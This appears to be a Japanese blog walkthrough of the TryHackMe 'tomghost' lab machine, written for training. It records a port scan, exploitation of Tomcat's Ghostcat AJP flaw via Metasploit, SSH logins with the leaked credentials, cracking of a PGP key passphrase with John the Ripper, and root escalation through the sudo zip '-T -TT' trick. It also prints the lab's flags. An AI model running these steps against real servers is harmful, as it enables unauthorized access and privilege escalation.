0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】tomghost:Walkthrough

Posted at

概要

TryHackMe「tomghost」のWalkthroughです。

Task1

Q1.Compromise this machine and obtain user.txt

ポートスキャンを実行します。

$ nmap -Pn -sC -sV -A -T4 -p- 10.10.19.167 -oN nmap_result
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f3:c8:9f:0b:6a:c5:fe:95:54:0b:e9:e3:ba:93:db:7c (RSA)
|   256 dd:1a:09:f5:99:63:a3:43:0d:2d:90:d8:e3:e1:1f:b9 (ECDSA)
|_  256 48:d1:30:1b:38:6c:c6:53:ea:30:81:80:5d:0c:f1:05 (ED25519)
53/tcp   open  tcpwrapped
8009/tcp open  ajp13      Apache Jserv (Protocol v1.3)
| ajp-methods: 
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http       Apache Tomcat 9.0.30
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.30

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 7.2p2
53 tcpwrapped
8009 ajp13 Apache Jserv (Protocol v1.3)
8080 http Apache httpd 2.4.18

8080ポートでTomcatのページが表示されました

8080 page.jpg

脆弱性を検索するとGhostcatの脆弱性がヒットしました。

$ searchsploit ajp 13
----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
Apache Tomcat - AJP 'Ghostcat' File Read/Inclusion (Metasploit)                    | multiple/webapps/49039.rb
----------------------------------------------------------------------------------- ---------------------------------

ルーム名や概要からこの脆弱性が使えそうです。

Metasploitを起動します。

$ msfconsole

Ghostcatモジュールを選択後、オプションを設定し攻撃を実行すると認証情報らしきものを見つけました。

msf6 auxiliary(admin/http/tomcat_ghostcat) > exploit

(省略)
<description>
     Welcome to GhostCat
        skyfuck:8730281lkjlkjdqlksalks
</description>

SSH接続を試みると成功しました。

$ ssh skyfuck@10.10.19.167
skyfuck@ubuntu:~$

ユーザーフラグファイルを検索します。

$ find / -name *user.txt* 2>/dev/null
/usr/share/doc/fontconfig/fontconfig-user.txt.gz
/home/merlin/user.txt

/home/merlin/user.txtからフラグを入手できます。

/home/merlin/user.txt
THM{GhostCat_1s_so_cr4sy}

A.THM{GhostCat_1s_so_cr4sy}

Q2.Escalate privileges and obtain root.txt

merlinアカウントへの昇格を目指します。
/home/skyfuck配下のcredential.pgpが怪しいです。

 ls -l
total 12
-rw-rw-r-- 1 skyfuck skyfuck  394 Mar 10  2020 credential.pgp
-rw-rw-r-- 1 skyfuck skyfuck 5144 Mar 10  2020 tryhackme.asc

/home/skyfuck/tryhackme.ascを確認するとPGP秘密鍵でした。

/home/skyfuck/tryhackme.asc
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: BCPG v1.63

lQUBBF5ocmIRDADTwu9RL5uol6+jCnuoK58+PEtPh0Zfdj4+q8z61PL56tz6YxmF
3TxA9u2jV73qFdMr5EwktTXRlEo0LTGeMzZ9R/uqe+BeBUNCZW6tqI7wDw/U1DEf
StRTV1+ZmgcAjjwzr2B6qplWHhyi9PIzefiw1smqSK31MBWGamkKp/vRB5xMoOr5

(省略)

/home/skyfuck/tryhackme.ascをKaliへコピーしパスワードをクラックします。

$ gpg2john tryhackme.asc > hash
$ john hash --wordlist=/usr/share/wordlists/rockyou.txt 
alexandru        (tryhackme)

パスワードが分かったのでPGPで暗号化されたデータをKaliへコピーし復号します。

$ scp skyfuck@10.10.19.167:/home/skyfuck/credential.pgp ./
$ gpg --import tryhackme.asc
$ gpg --decrypt credential.pgp 
gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences
gpg: encrypted with 1024-bit ELG key, ID 61E104A66184FBCC, created 2020-03-11
      "tryhackme <stuxnet@tryhackme.com>"
merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j

merlinアカウントの認証情報が分かったのでSSHでログインします。

$ ssh merlin@10.10.19.167
merlin@ubuntu:~$

sudo -lで確認すると/usr/bin/zipが実行可能でした。

$ sudo -l
Matching Defaults entries for merlin on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User merlin may run the following commands on ubuntu:
    (root : root) NOPASSWD: /usr/bin/zip

GTFOBinsで調べると権限昇格の脆弱性が見つかりました。

サイト通りに実行しroot権限を得られました。

$ TF=$(mktemp -u)
merlin@ubuntu:~$ sudo /usr/bin/zip $TF /etc/hosts -T -TT 'sh #'
  adding: etc/hosts (deflated 31%)
# whoami
root

フラグファイルを検索します。

# find / -name *root.txt* 2>/dev/null
/root/root.txt

/root/root.txtからフラグを入手できます。

/root/root.txt
THM{Z1P_1S_FAKE}

A.THM{Z1P_1S_FAKE}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?